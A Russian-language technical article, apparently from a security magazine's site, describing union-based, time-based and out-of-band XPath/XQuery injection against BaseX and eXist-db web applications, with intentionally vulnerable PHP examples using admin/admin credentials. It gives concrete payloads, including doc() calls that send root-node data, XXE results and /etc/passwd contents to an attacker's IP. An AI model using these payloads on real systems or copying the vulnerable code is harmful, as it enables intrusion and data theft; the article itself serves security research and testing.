На сегодняшний день широкой общественности известен единственный boolean-based метод обнаружения и эксплуатации XPath/XQuery injection. В то же время XPath и XQuery — самые распространенные языки для работы с данными в формате XML. Поэтому, чтобы исправить такую несправедливость, я расскажу о других техниках обнаружения и эксплуатации XPath/XQuery injection.

Уязвимости класса injection — одни из наиболее популярных и особо опасных. Об этом свидетельствует их упоминание во всех редакциях OWASP Top 10. XPath/XQuery injection служат характерными примерами таких уязвимостей. Их краткое описание доступно на сайте WASC в разделе Threat Classification.

Сегодня я ограничусь исследованием уязвимостей этого класса в области веб-приложений для баз данных, основанных на XQuery. Все рассматриваемые методы были найдены при анализе стандартов языков XPath и XQuery и проверены на существующих базах данных.

 

Union-based

Первый метод, о котором сегодня пойдет речь, получил свое название из-за использования операции объединения запросов |. Для его применения необходимо, чтобы результат уязвимого запроса от веб-приложения к базе данных отображался в браузере пользователя. В этом случае можно попытаться заменить данные, которые запрашивает веб-приложение, на другие. Например, на содержимое всех текстовых узлов XML-документа, с которым сейчас работает приложение. Ниже приведен листинг кода веб-приложения, уязвимого для данного метода.

<?php
ini_set('display_errors',0);

    # Подключение API базы данных BaseX
include("BaseXClient.php");

class DB {
    # Параметры подключения к базе данных
    protected $host        = 'localhost';
    protected $port        = '1984';
    protected $database    = 'tests';
    protected $user         = 'admin';
    protected $password     = 'admin';
    protected $session    = null;

    public function connect()
    {
        $this->session = new Session($this->host, $this->port, $this->user, $this->password);
        $this->session->execute("open ".$this->database);
    }

    public function select($param)
    {
        $input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'.
        '/info/text() return <h3> {$i} </h3>';

        $query = $this->session->query($input);
        while($query->more()) {
            print $query->next()."\n";
        }
        $query->close();
    }

    public function exit_db()
    {
        $this->session->close();
    }
}

# Получение пользовательских данных
if(($param = $_GET["id"]) == null)
{
     print "<h3>try use id parameter for access to info</h3>";
    exit;
}

$db = new DB();
$db->connect();
# Вызов уязвимой функции
$db->select($param);
$db->exit_db();
?>

Стоит заметить, что данный пример уязвим также для boolean-based метода. В нем отсутствует проверка входных данных для параметра id GET-запроса. В ходе выполнения кода вызывается функция select, которая содержит запрос к news.xml из базы данных tests. Содержимое news.xml приведено ниже:

<Root>
    <News ID="1">
        <info>British people are my only 'boss' on EU reform, says David Cameron</info>
    </News>
    <News ID="2">
        <info>BoE says part of banking payment system down</info>
    </News>
    …
</Root>

Эксплуатация union-based метода заключается во внедрении конструкции 0 and 1=0] | //* | /*[0. Для запроса, приведенного в примере, она будет иметь следующий вид: 0" and 1=0] | //* | /*["0. При подстановке в запрос этой конструкции он разобьется на три других запроса, из которых первый и последний не вернут ничего. Второй запрос, имеющий вид //*, вернет содержимое всех XML-документов, доступных пользователю, из-под которого приложение работает базой.

Результат эксплуатации union-based метода
Результат эксплуатации union-based метода
 

Time-based


Далеко не всегда результат уязвимого запроса к базе данных подставляется в код страницы, которую потом видит пользователь в окне своего браузера. Также не всегда можно детерминировано влиять на содержимое страницы через уязвимый параметр. Таким образом, при анализе веб-приложения на наличие XPath/XQuery injection union- и boolean-based методов будет явно недостаточно.
В классе SQL injection есть time-based метод. Он работает в ситуациях, когда от времени обработки запроса к базе данных, содержащего уязвимость, зависит время получения браузером ответа на запрос к веб-приложению. Ниже представлен пример веб-приложения, которое уязвимо для time-based и не уязвимо для union и boolean-based.

<?php

ini_set('display_errors',0);
# Подключение API базы данных BaseX
include("BaseXClient.php");

class DB {
    # Параметры подключения к базе данных
    protected $host        = 'localhost';
    protected $port         = '1984';
    protected $database    = 'tests';
    protected $user        = 'admin';
    protected $password    = 'admin';
    protected $session    = null;

    public function connect()
    {
        $this->session = new Session($this->host, $this->port, $this->user, $this->password);
        $this->session->execute("open ".$this->database);
    }

    public function select($uid, $username)
    {
        $input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()';
        $query = $this->session->query($input);

        if($query->next() === $uid)
        {
            $query->close();
            $input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'.
            '/*[name()="FirstName" or name()="LastName"]/text() return <h3> {$i} </h3>';

            $query = $this->session->query($input);
            while($query->more()) {
                print $query->next()."\n";
            }
        }
        $query->close();
    }

    public function exit_db()
    {
        $this->session->close();
    }
}

# Получение пользовательских данных
if(
((($uid = $_GET["uid"]) == null) || !is_numeric($uid)) || (($username = $_GET["username"]) == null)
){
    print "<h3>try use uid and username parameters for access to info</h3>";
    exit;
}

$db = new DB();
$db->connect();
# Вызов уязвимой функции
$db->select($uid, $username);
$db->exit_db();
?>

В этом примере username является переменной, содержащей уязвимость рассматриваемого класса. Результат запроса к базе данных не включается в ответ от веб-приложения и не влияет детерминированным образом на его содержимое. Содержимое users.xml приведено ниже.

<Root>
    <Users>
        <UID>57394309</UID>
        <FirstName>Gandalf</FirstName>
        <LastName>the Grey</LastName>
        <UserName>Mithrandir</UserName>
        <!--Stormcrow-->
        <Password>c5f7d86f237453de41c38a7d886c5a9c</Password>
        <Type> User </Type>
    </Users>
    …
</Root>

Для реализации time-based атаки необходимо наличие конструкции if-then (можно обойтись поддержкой ленивых вычислений) и конструкции языка, которая задерживает обработку запроса базой данных. Этого нет в XPath, зато есть в XQuery. В качестве конструкции, вызывающей задержку, я использую reverse(-9999 to 9999)=0. Таким образом, внедряемая конструкция принимает вид: 1"and if (count(/*)=1) then reverse(-9999 to 9999)=0 else 1=1 and "1"="1. Если ее передать в качестве параметра username GET-запроса к веб-приложению из примера, то ответ от него придет с задержкой, так как count(/*)=1 в XPath и XQuery всегда возвращает правду. Вместо этого равенства для извлечения содержимого базы можно использовать функции, применяемые в boolean-based методе.

Внедрение конструкций в XQuery-запрос к базе данных eXist-db
Внедрение конструкций в XQuery-запрос к базе данных eXist-db
 

Request-based

Извлечение содержимого базы данных time- и boolean-based методами — процесс длительный, а область применения union-based сильно ограничена. Возникает вопрос: как получить содержимое базы в тех же случаях, в которых работают time- и boolean-based, но за меньшее время?

Кроме того, хочется узнавать о наличии XPath/XQuery injection в момент обработки запроса к базе данных. То есть чтобы база сама сообщала о срабатывании инъекции, минуя веб-приложение.

Ответом на поставленный вопрос и решением озвученной проблемы будет request-based метод. Он основан на функции doc, которая позволяет загружать в базу XML-документы, расположенные на локальной или удаленной машине. Используемая в нем конструкция имеет вид: doc(concat("Your public ip",encode-for-uri(name(/*[1]))). В результате ее выполнения обработчиком языка XQuery на ваш публичный IP-адрес будет отправлен GET-запрос, в котором в качестве пути будет присутствовать содержимое корневого узла в URI-кодировке.

Request-based на практике
Request-based на практике

Функция doc также может использоваться для XXE-атаки на базу данных: doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml")))). При использовании этой конструкции в качестве пути будет присутствовать результат обработки XML-документа, содержащего XXE.

 

Чтение локальных файлов

В последнем стандарте, который получил статус рекомендации W3C в 2014 году, появилась функция unparsed-text, позволяющая обрабатывать в запросе локальные файлы как последовательность символов. При ее использовании с упомянутыми ранее методами можно читать локальные файлы. Например, прочитать содержимое /etc/passwd, используя request-based метод: doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd")))).

 

Заключение

Тема XPath/XQuery injection не ограничивается только лишь веб-приложениями и базами данных на основе XQuery. В следующий раз я постараюсь осветить тему обнаружения и эксплуатации уязвимостей этого класса для обработчиков на мобильных устройствах и веб-приложений, работающих базами данных, которые не основаны на XQuery.

1 комментарий

  1. Аватар

    CagoBHuK

    16.07.2015 в 20:41

    Ни разу не задумывался на тему использования XML-атак.

Оставить мнение